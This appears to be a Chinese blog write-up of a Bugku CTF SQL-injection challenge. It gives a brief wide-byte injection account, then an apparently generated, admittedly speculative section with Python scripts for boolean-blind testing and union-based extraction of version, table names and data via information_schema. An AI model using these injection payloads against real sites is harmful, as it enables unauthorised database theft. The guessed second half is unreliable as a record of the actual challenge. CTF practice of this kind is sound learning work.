BUGKU_WEB_SQL测试

本文通过一次成功的宽字节注入案例展示了如何利用特殊字符进行数据库信息提取的过程。案例中,通过尝试宽字节注入的方式成功触发错误并进一步获取到了目标数据库的内容,最终找到了flag。

加上'后仍然显示正常,应该是‘被转义了,遂尝试宽字节注入,成功报错

接着就可以提取数据库了

flag应该就在sql5这个数据库里了

 

得到flag

由于没有具体的参考引用内容,以下是关于Bugku平台just_sqli题目的一般分析与推测。 ### 题目详情推测 通常在Bugku这类CTF平台中,just_sqli题目往往是围绕SQL注入漏洞展开。题目可能会给出一个简单的Web页面,页面上有输入框用于接收用户输入,可能用于查询数据库中的某些信息,例如用户信息、文章列表等。页面可能会根据输入的内容动态生成SQL查询语句并执行,而由于开发过程中没有对用户输入进行严格的过滤和转义,就导致了SQL注入漏洞的产生。 ### 解题思路 1. **判断注入点**: - 可以尝试在输入框中输入一些简单的特殊字符,如单引号 `'`、双引号 `"`、括号 `()` 等,观察页面返回的错误信息。如果输入单引号后页面出现数据库错误提示,那么很可能存在SQL注入漏洞,且注入点在单引号闭合处。 - 也可以使用 `and 1=1` 和 `and 1=2` 这样的语句来判断是否存在布尔盲注。如果输入 `and 1=1` 时页面正常显示,输入 `and 1=2` 时页面显示异常(如无结果返回等),则说明存在布尔盲注。 ```python # 示例代码,模拟布尔盲注测试 import requests url = 'http://example.com/just_sqli.php' payload_true = {'input': 'value and 1=1'} payload_false = {'input': 'value and 1=2'} response_true = requests.get(url, params=payload_true) response_false = requests.get(url, params=payload_false) if len(response_true.text) != len(response_false.text): print("可能存在布尔盲注漏洞") ``` 2. **确定数据库类型**: - 通过注入不同数据库特有的函数来判断数据库类型。例如,对于MySQL可以使用 `version()` 函数,对于SQL Server可以使用 `@@version`。 ```python # 示例代码,检测MySQL数据库版本 import requests url = 'http://example.com/just_sqli.php' payload = {'input': "value' union select version() -- "} response = requests.get(url, params=payload) print(response.text) ``` 3. **获取数据库信息**: - 利用注入漏洞获取数据库名、表名、列名等信息。在MySQL中,可以使用 `information_schema` 数据库来获取这些信息。 ```python # 示例代码,获取数据库中的表名 import requests url = 'http://example.com/just_sqli.php' payload = {'input': "value' union select table_name from information_schema.tables where table_schema=database() -- "} response = requests.get(url, params=payload) print(response.text) ``` 4. **获取数据内容**: - 当获取到表名和列名后,就可以获取具体的数据内容。 ```python # 示例代码,获取指定表中的数据 import requests url = 'http://example.com/just_sqli.php' table_name = 'users' column_name = 'username' payload = {'input': f"value' union select {column_name} from {table_name} -- "} response = requests.get(url, params=payload) print(response.text) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值